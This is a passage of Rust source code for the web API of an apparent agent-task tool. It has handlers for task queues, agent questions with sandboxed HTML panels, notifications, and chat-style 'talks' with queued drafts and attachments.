3342 body: std::result::Result<Json<EditBody>, JsonRejection>,
3343) -> ApiResult<Json<TaskView>> {
3344 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3345 mutate(ui, id, move |t| {
3346 t.edit(body.title.clone(), body.instruction.clone())
3347 })
3348 .await
3349}
3350
3351async fn queue_done(
3359 State(ui): State<Arc<Ui>>,
3360 Path(id): Path<String>,
3361) -> ApiResult<Json<TaskView>> {
3362 let home = ui.home.clone();
3363 mutate(ui, id, move |t| {
3364 t.succeed();
3365 crate::daemon::supersede_prior_runs(t, &home);
3373 Ok(())
3374 })
3375 .await
3376}
3377
3378async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3386 blocking(move || {
3387 let id = resolve_task(&ui.queue, &id)?;
3388 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
3389 ui.queue
3390 .remove(&id, in_flight, &ui.questions)
3391 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3392 Ok(StatusCode::NO_CONTENT)
3393 })
3394 .await
3395}
3396
3397async fn mutate(
3406 ui: Arc<Ui>,
3407 id: String,
3408 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
3409) -> ApiResult<Json<TaskView>> {
3410 blocking(move || {
3411 let id = resolve_task(&ui.queue, &id)?;
3412 let _claim = ui.queue.claim(&id).map_err(|e| {
3417 ApiError::conflict(format!(
3418 "{e:#} - a daemon is running this task, so it cannot be \
3419 changed from here yet"
3420 ))
3421 })?;
3422 let mut task = ui.queue.get(&id)?;
3423 change(&mut task).map_err(ApiError::bad_request_from)?;
3424 ui.queue.put(&mut task)?;
3425 Ok(Json(TaskView::from(task)))
3426 })
3427 .await
3428}
3429
3430async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
3438 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
3439 tokio::spawn(async move {
3440 let mut ticker = tokio::time::interval(POLL);
3441 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
3442 loop {
3443 ticker.tick().await;
3446 let state = Arc::clone(&ui);
3447 let revisions = tokio::task::spawn_blocking(move || {
3448 (
3449 state.queue.revision(),
3450 runs_revision(&state.runs),
3451 state.questions.revision(),
3452 state.talks.revision(),
3453 state.notices.revision(),
3454 state.lock_loop().rev,
3458 )
3459 })
3460 .await;
3461 let Ok(revisions) = revisions else { break };
3462 if last == Some(revisions) {
3463 continue;
3464 }
3465 last = Some(revisions);
3466 let payload = serde_json::json!({
3467 "queue_rev": revisions.0,
3468 "runs_rev": revisions.1,
3469 "questions_rev": revisions.2,
3470 "talks_rev": revisions.3,
3471 "notifications_rev": revisions.4,
3472 "loop_rev": revisions.5,
3473 });
3474 let Ok(event) = Event::default().event("change").json_data(payload) else {
3476 break;
3477 };
3478 if tx.send(event).await.is_err() {
3479 break;
3480 }
3481 }
3482 });
3483 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
3484 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
3485}
3486
3487fn runs_revision(runs: &FsPath) -> u64 {
3494 use std::hash::{Hash as _, Hasher as _};
3495
3496 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
3497 .into_iter()
3498 .flatten()
3499 .flatten()
3500 .filter_map(|e| {
3501 let path = e.path().join("run.json");
3502 let mtime = path
3503 .metadata()
3504 .ok()?
3505 .modified()
3506 .ok()?
3507 .duration_since(std::time::UNIX_EPOCH)
3508 .ok()?
3509 .as_millis() as u64;
3510 let id = e.file_name().to_string_lossy().into_owned();
3511 Some((id, mtime))
3512 })
3513 .collect();
3514
3515 if entries.is_empty() {
3516 return 0;
3517 }
3518
3519 entries.sort_unstable();
3520 let mut hasher = std::hash::DefaultHasher::new();
3521 for (id, mtime) in &entries {
3522 id.hash(&mut hasher);
3523 mtime.hash(&mut hasher);
3524 }
3525 let h = hasher.finish();
3526 if h == 0 { 1 } else { h }
3527}
3528
3529fn run_ids(runs: &FsPath) -> Vec<String> {
3535 let mut ids: Vec<String> = std::fs::read_dir(runs)
3536 .into_iter()
3537 .flatten()
3538 .flatten()
3539 .filter(|e| e.path().join("run.json").is_file())
3540 .map(|e| e.file_name().to_string_lossy().into_owned())
3541 .collect();
3542 ids.sort_unstable_by(|a, b| b.cmp(a));
3544 ids
3545}
3546
3547fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
3549 let path = runs.join(id).join("run.json");
3550 let body =
3551 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
3552 let state: RunState =
3553 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
3554 if state.schema != run::SCHEMA {
3555 anyhow::bail!(
3556 "run {} was written by a different magi (schema {}, this build speaks {})",
3557 state.id,
3558 state.schema,
3559 run::SCHEMA
3560 );
3561 }
3562 Ok(state)
3563}
3564
3565#[must_use]
3573pub fn runs_unreadable(runs: &FsPath) -> usize {
3574 run_ids(runs)
3575 .into_iter()
3576 .filter(|id| read_run(runs, id).is_err())
3577 .count()
3578}
3579
3580fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
3582 if runs.join(id).join("run.json").is_file() {
3583 return Ok(id.to_owned());
3584 }
3585 pick(run_ids(runs), id, "run")
3586}
3587
3588fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
3590 if queue.path_of(id).is_file() {
3591 return Ok(id.to_owned());
3592 }
3593 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
3594}
3595
3596#[derive(Debug, Serialize)]
3607struct QuestionView {
3608 #[serde(flatten)]
3609 question: Question,
3610 detail_md: Vec<md::Node>,
3611 waiting_on_agent: bool,
3621 holder: Option<&'static str>,
3625}
3626
3627impl QuestionView {
3628 fn of(question: Question, store: &ask::Questions) -> Self {
3632 let base = md::ImageBase::QuestionPanel {
3633 id: question.id.clone(),
3634 };
3635 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
3636 Self {
3637 detail_md: md::to_nodes(&question.detail, &base),
3638 waiting_on_agent: question.waiting_on_agent(),
3639 holder,
3640 question,
3641 }
3642 }
3643}
3644
3645fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
3652 if !q.status.open() || q.cwd.is_none() {
3653 return None;
3654 }
3655 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
3656 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
3657 Some(_) => "asker",
3658 None => "nobody",
3659 })
3660}
3661
3662async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
3668 blocking(move || {
3669 Ok(Json(
3670 ui.questions
3671 .list()
3672 .into_iter()
3673 .map(|q| QuestionView::of(q, &ui.questions))
3674 .collect(),
3675 ))
3676 })
3677 .await
3678}
3679
3680async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
3683 blocking(move || {
3684 let items = ui.notices.list();
3685 let unread = items.iter().filter(|n| n.unread()).count();
3686 Ok(Json(
3687 serde_json::json!({ "unread": unread, "items": items }),
3688 ))
3689 })
3690 .await
3691}
3692
3693fn notice_error(e: anyhow::Error) -> ApiError {
3694 ApiError::not_found(format!("{e:#}"))
3697}
3698
3699async fn notification_read(
3701 State(ui): State<Arc<Ui>>,
3702 Path(id): Path<String>,
3703) -> ApiResult<Json<Notice>> {
3704 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
3705}
3706
3707async fn notification_dismiss(
3709 State(ui): State<Arc<Ui>>,
3710 Path(id): Path<String>,
3711) -> ApiResult<Json<Notice>> {
3712 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
3713}
3714
3715async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
3717 blocking(move || {
3718 let changed = ui.notices.mark_all_read()?;
3719 Ok(Json(serde_json::json!({ "marked": changed })))
3720 })
3721 .await
3722}
3723
3724#[derive(Debug, Default, Deserialize)]
3730#[serde(default, deny_unknown_fields)]
3731struct NewAnswer {
3732 choice: Option<String>,
3733 text: Option<String>,
3734}
3735
3736async fn question_answer(
3737 State(ui): State<Arc<Ui>>,
3738 Path(id): Path<String>,
3739 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
3740) -> ApiResult<Json<QuestionView>> {
3741 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3742 let answer = match (body.choice, body.text) {
3743 (Some(c), None) => Answer::Choice(c),
3744 (None, Some(t)) => Answer::Text(t),
3745 (Some(_), Some(_)) => {
3746 return Err(ApiError::bad_request(
3747 "send either `choice` or `text`, not both",
3748 ));
3749 }
3750 (None, None) => {
3751 return Err(ApiError::bad_request("send a `choice` or a `text`"));
3752 }
3753 };
3754
3755 blocking(move || {
3756 let id = resolve_question(&ui.questions, &id)?;
3757 let q = ui
3758 .questions
3759 .get(&id)
3760 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3761 if !q.status.open() {
3762 return Err(ApiError::conflict(format!(
3766 "question {} is already {}",
3767 q.short(),
3768 q.status.as_str()
3769 )));
3770 }
3771 let (q, ()) = ui
3775 .questions
3776 .update(&q.id, |r| r.answer(answer))
3777 .map_err(ApiError::bad_request_from)?;
3778 Ok(Json(QuestionView::of(q, &ui.questions)))
3779 })
3780 .await
3781}
3782
3783#[derive(Debug, Deserialize)]
3785#[serde(deny_unknown_fields)]
3786struct NewSay {
3787 body: String,
3788}
3789
3790async fn question_say(
3800 State(ui): State<Arc<Ui>>,
3801 Path(id): Path<String>,
3802 body: std::result::Result<Json<NewSay>, JsonRejection>,
3803) -> ApiResult<Json<QuestionView>> {
3804 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3805 blocking(move || {
3806 let id = resolve_question(&ui.questions, &id)?;
3807 let q = ui
3808 .questions
3809 .get(&id)
3810 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3811 if !q.status.open() {
3812 return Err(ApiError::conflict(format!(
3816 "question {} is already {}",
3817 q.short(),
3818 q.status.as_str()
3819 )));
3820 }
3821 let (q, ()) = ui
3824 .questions
3825 .update(&q.id, |r| r.say(body.body))
3826 .map_err(ApiError::bad_request_from)?;
3827 Ok(Json(QuestionView::of(q, &ui.questions)))
3828 })
3829 .await
3830}
3831
3832fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
3834 if store.path_of(id).is_file() {
3835 return Ok(id.to_owned());
3836 }
3837 pick(
3838 store.list().into_iter().map(|q| q.id).collect(),
3839 id,
3840 "question",
3841 )
3842}
3843
3844async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
3859 blocking(move || {
3860 let id = resolve_question(&ui.questions, &id)?;
3861 let Some(html) = ui.questions.panel_html(&id) else {
3862 return Err(ApiError::not_found(format!("question {id} has no panel")));
3863 };
3864 Ok(panel_response(
3865 "text/html; charset=utf-8",
3866 false,
3867 html.into_bytes(),
3868 ))
3869 })
3870 .await
3871}
3872
3873async fn question_asset(
3901 State(ui): State<Arc<Ui>>,
3902 Path((id, name)): Path<(String, String)>,
3903) -> ApiResult<Response> {
3904 if !crate::ask::valid_asset_name(&name) {
3907 return Err(ApiError::bad_request(format!(
3908 "`{name}` is not a usable asset name"
3909 )));
3910 }
3911 blocking(move || {
3912 let id = resolve_question(&ui.questions, &id)?;
3913 let asset = ui
3914 .questions
3915 .panel_asset(&id, &name)
3916 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3917 let Some(bytes) = asset else {
3918 return Err(ApiError::not_found(format!(
3919 "question {id} has no asset `{name}`"
3920 )));
3921 };
3922 Ok(panel_response(
3923 asset_content_type(&name),
3924 is_svg(&name),
3925 bytes,
3926 ))
3927 })
3928 .await
3929}
3930
3931fn asset_content_type(name: &str) -> &'static str {
3944 match extension(name).as_deref() {
3945 Some("png") => "image/png",
3946 Some("jpg" | "jpeg") => "image/jpeg",
3947 Some("gif") => "image/gif",
3948 Some("webp") => "image/webp",
3949 Some("svg") => "image/svg+xml",
3950 Some("css") => "text/css; charset=utf-8",
3951 Some("txt") => "text/plain; charset=utf-8",
3952 _ => "application/octet-stream",
3953 }
3954}
3955
3956fn is_svg(name: &str) -> bool {
3959 extension(name).as_deref() == Some("svg")
3960}
3961
3962fn extension(name: &str) -> Option<String> {
3964 name.rsplit_once('.')
3965 .map(|(_, ext)| ext.to_ascii_lowercase())
3966}
3967
3968fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
3985 let mut res = (
3986 [
3987 (header::CONTENT_TYPE, content_type),
3988 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
3989 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3990 (header::REFERRER_POLICY, "no-referrer"),
3991 ],
3992 body,
3993 )
3994 .into_response();
3995 if download {
3996 res.headers_mut().insert(
3997 header::CONTENT_DISPOSITION,
3998 HeaderValue::from_static("attachment"),
3999 );
4000 }
4001 res
4002}
4003
4004#[derive(Debug, Serialize)]
4010struct TalkView {
4011 #[serde(flatten)]
4012 talk: Talk,
4013 turn_bodies_md: Vec<Vec<md::Node>>,
4014 thinking: bool,
4022}
4023
4024impl TalkView {
4025 fn new(talk: Talk, thinking: bool) -> Self {
4026 let turn_bodies_md = talk
4027 .turns
4028 .iter()
4029 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
4030 .collect();
4031 Self {
4032 turn_bodies_md,
4033 thinking,
4034 talk,
4035 }
4036 }
4037}
4038
4039#[derive(Debug, Serialize)]
4044struct TalkDetailView {
4045 #[serde(flatten)]
4046 view: TalkView,
4047 tasks: Vec<TaskView>,
4048}
4049
4050async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
4055 blocking(move || {
4056 Ok(Json(
4057 ui.talks
4058 .list()
4059 .into_iter()
4060 .map(|talk| {
4061 let thinking = ui.is_thinking(&talk.id);
4062 TalkView::new(talk, thinking)
4063 })
4064 .collect(),
4065 ))
4066 })
4067 .await
4068}
4069
4070#[derive(Debug, Default, Deserialize)]
4075#[serde(default)]
4076struct NewTalk {
4077 agent: Option<String>,
4078 repo: Option<PathBuf>,
4079}
4080
4081async fn talk_post(
4084 State(ui): State<Arc<Ui>>,
4085 body: std::result::Result<Json<NewTalk>, JsonRejection>,
4086) -> ApiResult<impl IntoResponse> {
4087 let body = match body {
4091 Ok(Json(body)) => body,
4092 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
4093 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4094 };
4095 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
4096 let cfg = config_for(&repo).await?;
4097 let view = blocking(move || {
4098 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
4099 let thinking = ui.is_thinking(&talk.id);
4100 Ok(TalkView::new(talk, thinking))
4101 })
4102 .await?;
4103 Ok((StatusCode::CREATED, Json(view)))
4104}
4105
4106async fn talk_detail(
4108 State(ui): State<Arc<Ui>>,
4109 Path(id): Path<String>,
4110) -> ApiResult<Json<TalkDetailView>> {
4111 blocking(move || {
4112 let id = resolve_talk(&ui.talks, &id)?;
4113 let talk = ui.talks.get(&id)?;
4114 let thinking = ui.is_thinking(&talk.id);
4115 let tasks = talk::tasks_of(&ui.queue, &talk.id)
4116 .into_iter()
4117 .map(TaskView::from)
4118 .collect();
4119 Ok(Json(TalkDetailView {
4120 view: TalkView::new(talk, thinking),
4121 tasks,
4122 }))
4123 })
4124 .await
4125}
4126
4127#[derive(Debug, Default, Deserialize)]
4133#[serde(default, deny_unknown_fields)]
4134struct NewTalkTurn {
4135 text: String,
4136 attachments: Vec<String>,
4137}
4138
4139#[derive(Debug, Deserialize)]
4140#[serde(deny_unknown_fields)]
4141struct EditTalkPending {
4142 text: String,
4143 expected_text: String,
4144 expected_attachments: Vec<String>,
4145}
4146
4147#[derive(Debug, Deserialize)]
4148#[serde(deny_unknown_fields)]
4149struct ClearTalkPending {
4150 expected_text: String,
4151 expected_attachments: Vec<String>,
4152}
4153
4154async fn talk_say(
4166 State(ui): State<Arc<Ui>>,
4167 Path(id): Path<String>,
4168 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
4169) -> ApiResult<(StatusCode, Json<TalkView>)> {
4170 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4171 if body.text.trim().is_empty() && body.attachments.is_empty() {
4172 return Err(ApiError::bad_request("say something"));
4173 }
4174
4175 let id = {
4176 let ui = Arc::clone(&ui);
4177 let asked = id.clone();
4178 blocking(move || resolve_talk(&ui.talks, &asked)).await?
4179 };
4180 {
4184 let ui = Arc::clone(&ui);
4185 let id = id.clone();
4186 blocking(move || {
4187 let talk = ui.talks.get(&id)?;
4188 if !talk.status.open() {
4189 return Err(ApiError::conflict(format!(
4190 "talk {} is {} and takes no more turns",
4191 talk.short(),
4192 talk.status.as_str()
4193 )));
4194 }
4195 Ok(())
4196 })
4197 .await?;
4198 }
4199
4200 let attachments = {
4205 let ui = Arc::clone(&ui);
4206 let id = id.clone();
4207 let ids = body.attachments.clone();
4208 blocking(move || {
4209 ids.into_iter()
4210 .map(|att_id| {
4211 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
4212 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
4213 })
4214 })
4215 .collect::<ApiResult<Vec<talk::Attachment>>>()
4216 })
4217 .await?
4218 };
4219
4220 let start = {
4225 let ui = Arc::clone(&ui);
4226 let id = id.clone();
4227 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
4228 };
4229 let turn_guard = match start {
4230 TalkTurnStart::Claimed(turn_guard) => turn_guard,
4231 TalkTurnStart::Pending => {
4232 return Err(ApiError::conflict(
4233 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
4234 ));
4235 }
4236 TalkTurnStart::Busy => {
4237 let (tx, rx) = tokio::sync::oneshot::channel();
4253 tokio::spawn({
4254 let ui = Arc::clone(&ui);
4255 let id = id.clone();
4256 let said = body.text.clone();
4257 async move {
4258 let written = blocking({
4259 let ui = Arc::clone(&ui);
4260 let id = id.clone();
4261 move || {
4262 let mut talk = ui.talks.get(&id)?;
4263 #[cfg(test)]
4268 if let Some(gate) = ui
4269 .busy_queue_gate
4270 .lock()
4271 .unwrap_or_else(PoisonError::into_inner)
4272 .take()
4273 {
4274 let _ = gate.reached.send(());
4275 let _ = gate.release.recv();
4276 }
4277 if let Err(error) =
4278 talk::queue(&mut talk, &ui.talks, &said, attachments)
4279 {
4280 if let Ok(fresh) = ui.talks.get(&id) {
4281 if !fresh.status.open() {
4282 return Err(ApiError::conflict(format!(
4283 "talk {} is {} and takes no more turns",
4284 fresh.short(),
4285 fresh.status.as_str()
4286 )));
4287 }
4288 }
4289 return Err(ApiError::from(error));
4290 }
4291 let claim = match ui.begin_queued_talk_turn(&id)? {
4302 Some(turn_guard) => {
4303 let (cfg, _) = Config::discover(&talk.repo, None)?;
4304 Some((talk.clone(), cfg, turn_guard))
4305 }
4306 None => None,
4307 };
4308 let thinking = ui.is_thinking(&id);
4309 Ok((TalkView::new(talk, thinking), claim))
4310 }
4311 })
4312 .await;
4313 let (view, reclaimed) = match written {
4314 Ok(pair) => pair,
4315 Err(e) => {
4316 let _ = tx.send(Err(e));
4321 return;
4322 }
4323 };
4324 let _ = tx.send(Ok(view));
4327 if let Some((talk, cfg, turn_guard)) = reclaimed {
4328 let talks = ui.talks.clone();
4329 drain_loop(talk, talks, cfg, id, turn_guard).await;
4330 }
4331 }
4332 });
4333 let view = rx
4334 .await
4335 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
4336 return Ok((StatusCode::ACCEPTED, Json(view)));
4337 }
4338 };
4339
4340 let (talk, cfg) = {
4341 let ui = Arc::clone(&ui);
4342 let id = id.clone();
4343 blocking(move || {
4344 let talk = ui.talks.get(&id)?;
4345 let (cfg, _) = Config::discover(&talk.repo, None)?;
4346 Ok((talk, cfg))
4347 })
4348 .await?
4349 };
4350
4351 let talks = ui.talks.clone();
4352 let (tx, rx) = tokio::sync::oneshot::channel();
4367 tokio::spawn({
4368 let ui = Arc::clone(&ui);
4369 let talks = talks.clone();
4370 let id = id.clone();
4371 let said = body.text.clone();
4372 let mut talk = talk.clone();
4373 async move {
4374 let recorded = blocking({
4375 let talks = talks.clone();
4376 move || {
4377 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
4378 if let Ok(fresh) = talks.get(&talk.id) {
4379 if !fresh.status.open() {
4380 return Err(ApiError::conflict(format!(
4381 "talk {} is {} and takes no more turns",
4382 fresh.short(),
4383 fresh.status.as_str()
4384 )));
4385 }
4386 }
4387 return Err(ApiError::from(error));
4388 }
4389 Ok((said.trim().to_owned(), talk))
4395 }
4396 })
4397 .await;
4398 let (text, mut talk) = match recorded {
4399 Ok(pair) => pair,
4400 Err(e) => {
4401 let _ = tx.send(Err(e));
4405 return;
4406 }
4407 };
4408 let queued = talk.clone();
4409 let thinking = ui.is_thinking(&id);
4410 let _ = tx.send(Ok((queued, thinking)));
4413
4414 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
4415 tracing::warn!("talk {id} turn failed: {e:#}");
4419 }
4420 drain_loop(talk, talks, cfg, id, turn_guard).await;
4423 }
4424 });
4425
4426 let (queued, thinking) = rx
4427 .await
4428 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
4429
4430 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
4432}
4433
4434async fn talk_pending_resume(
4438 State(ui): State<Arc<Ui>>,
4439 Path(id): Path<String>,
4440) -> ApiResult<(StatusCode, Json<TalkView>)> {
4441 let id = {
4442 let ui = Arc::clone(&ui);
4443 let asked = id.clone();
4444 blocking(move || resolve_talk(&ui.talks, &asked)).await?
4445 };
4446 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
4447 return Err(ApiError::conflict(
4448 "a talk turn is already running; the queued draft will be handled by it",
4449 ));
4450 };
4451 let (talk, cfg) = {
4452 let ui = Arc::clone(&ui);
4453 let id = id.clone();
4454 blocking(move || {
4455 let talk = ui.talks.get(&id)?;
4456 if !talk.status.open() {
4457 return Err(ApiError::conflict(format!(
4458 "talk {} is {} and takes no more turns",
4459 talk.short(),
4460 talk.status.as_str()
4461 )));
4462 }
4463 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
4464 return Err(ApiError::conflict("there is no queued draft to resume"));
4465 }
4466 let (cfg, _) = Config::discover(&talk.repo, None)?;
4467 Ok((talk, cfg))
4468 })
4469 .await?
4470 };
4471 let view = TalkView::new(talk.clone(), true);
4472 let talks = ui.talks.clone();
4473 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
4474 Ok((StatusCode::ACCEPTED, Json(view)))
4475}
4476
4477async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
4493 let live_set = Arc::clone(&turn.turns);
4494 let mut turn = Some(turn);
4502 loop {
4503 let observed = live_set
4507 .lock()
4508 .unwrap_or_else(PoisonError::into_inner)
4509 .queued
4510 .get(&id)
4511 .copied()
4512 .unwrap_or(0);
4513 let drained = blocking({
4514 let talks = talks.clone();
4515 move || {
4516 let result = talk::drain(&mut talk, &talks);
4517 Ok((talk, result))
4518 }
4519 })
4520 .await;
4521 let (next_talk, result) = match drained {
4522 Ok(drained) => drained,
4523 Err(e) => {
4524 tracing::warn!(
4525 status = %e.status,
4526 message = %e.message,
4527 "talk {id} could not start queued-text drain"
4528 );
4529 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4530 turn.take()
4531 .expect("held for the whole loop until released here")
4532 .release(&mut live);
4533 break;
4534 }
4535 };
4536 talk = next_talk;
4537 let drained = match result {
4538 Ok(Some(drained)) => drained,
4539 Ok(None) => {
4540 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4541 if live.queued.get(&id).copied().unwrap_or(0) != observed {
4542 continue;
4543 }
4544 turn.take()
4545 .expect("held for the whole loop until released here")
4546 .release(&mut live);
4547 break;
4548 }
4549 Err(e) => {
4550 tracing::warn!("talk {id} could not drain queued text: {e:#}");
4551 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4552 turn.take()
4553 .expect("held for the whole loop until released here")
4554 .release(&mut live);
4555 break;
4556 }
4557 };
4558 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
4559 tracing::warn!("talk {id} turn failed: {e:#}");
4560 }
4561 }
4562}
4563
4564async fn talk_pending_clear(
4566 State(ui): State<Arc<Ui>>,
4567 Path(id): Path<String>,
4568 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
4569) -> ApiResult<Json<TalkView>> {
4570 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4571 blocking(move || {
4572 let id = resolve_talk(&ui.talks, &id)?;
4573 let mut talk = ui.talks.get(&id)?;
4574 if !talk.status.open() {
4575 return Err(ApiError::conflict(format!(
4576 "talk {} is {} and takes no more turns",
4577 talk.short(),
4578 talk.status.as_str()
4579 )));
4580 }
4581 if !talk::clear_pending_if_matches(
4582 &mut talk,
4583 &ui.talks,
4584 &body.expected_text,
4585 &body.expected_attachments,
4586 )? {
4587 return Err(ApiError::conflict(
4588 "queued message changed; reload it before clearing",
4589 ));
4590 }
4591 let thinking = ui.is_thinking(&talk.id);
4592 Ok(Json(TalkView::new(talk, thinking)))
4593 })
4594 .await
4595}
4596
4597async fn talk_pending_edit(
4601 State(ui): State<Arc<Ui>>,
4602 Path(id): Path<String>,
4603 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
4604) -> ApiResult<Json<TalkView>> {
4605 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4606 let (view, reclaimed) = blocking({
4607 let ui = Arc::clone(&ui);
4608 move || {
4609 let id = resolve_talk(&ui.talks, &id)?;
4610 let mut talk = ui.talks.get(&id)?;
4611 if !talk.status.open() {
4612 return Err(ApiError::conflict(format!(
4613 "talk {} is {} and takes no more turns",
4614 talk.short(),
4615 talk.status.as_str()
4616 )));
4617 }
4618 if !talk::edit_pending_text(
4619 &mut talk,
4620 &ui.talks,
4621 &body.text,
4622 &body.expected_text,
4623 &body.expected_attachments,
4624 )? {
4625 return Err(ApiError::conflict(
4626 "queued message changed; reload it before editing",
4627 ));
4628 }
4629 let claim = match ui.begin_queued_talk_turn(&id)? {
4630 Some(turn_guard) => {
4631 let (cfg, _) = Config::discover(&talk.repo, None)?;
4632 Some((talk.clone(), cfg, id.clone(), turn_guard))
4633 }
4634 None => None,
4635 };
4636 let thinking = ui.is_thinking(&id);
4637 Ok((TalkView::new(talk, thinking), claim))
4638 }
4639 })
4640 .await?;
4641 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
4642 let talks = ui.talks.clone();
4643 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
4644 }
4645 Ok(Json(view))
4646}
4647
4648async fn talk_close(
4650 State(ui): State<Arc<Ui>>,
4651 Path(id): Path<String>,
4652) -> ApiResult<Json<TalkView>> {
4653 blocking(move || {
4654 let id = resolve_talk(&ui.talks, &id)?;
4655 let mut talk = ui.talks.get(&id)?;
4656 talk::close(&mut talk, &ui.talks)?;
4657 let thinking = ui.is_thinking(&talk.id);
4658 Ok(Json(TalkView::new(talk, thinking)))
4659 })
4660 .await
4661}
4662
4663async fn talk_reopen(
4665 State(ui): State<Arc<Ui>>,
4666 Path(id): Path<String>,
4667) -> ApiResult<Json<TalkView>> {
4668 blocking(move || {
4669 let id = resolve_talk(&ui.talks, &id)?;
4670 let mut talk = ui.talks.get(&id)?;
4671 talk::reopen(&mut talk, &ui.talks)?;
4672 let thinking = ui.is_thinking(&talk.id);
4673 Ok(Json(TalkView::new(talk, thinking)))
4674 })
4675 .await
4676}
4677
4678async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4688 blocking(move || {
4689 let id = resolve_talk(&ui.talks, &id)?;
4690 ui.talks.remove(&id)?;
4691 Ok(StatusCode::NO_CONTENT)
4692 })
4693 .await
4694}
4695
4696fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
4698 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
4699}
4700
4701async fn talk_attachment_post(
4704 State(ui): State<Arc<Ui>>,
4705 Path(id): Path<String>,
4706 headers: HeaderMap,
4707 body: Bytes,
4708) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
4709 let mime = validate_attachment(&headers, &body)?;
4710 let name = filename_header(&headers);
4711 let data = body.to_vec();
4712 blocking(move || {
4713 let id = resolve_talk(&ui.talks, &id)?;
4714 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
4715 Ok((StatusCode::CREATED, Json(att)))
4716 })
4717 .await
4718}
4719
4720async fn talk_attachment_get(
4723 State(ui): State<Arc<Ui>>,
4724 Path((id, att)): Path<(String, String)>,
4725) -> ApiResult<Response> {
4726 blocking(move || {
4727 let id = resolve_talk(&ui.talks, &id)?;
4728 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
4729 return Err(ApiError::not_found(format!(
4730 "talk {id} has no attachment `{att}`"
4731 )));
4732 };
4733 Ok(attachment_response(&meta.mime, data))
4734 })
4735 .await
4736}
4737
4738fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
4749 if data.len() > ATTACHMENT_MAX_BYTES {
4750 return Err(ApiError::bad_request(format!(
4751 "attachment is {} bytes, over the {} MiB limit",
4752 data.len(),
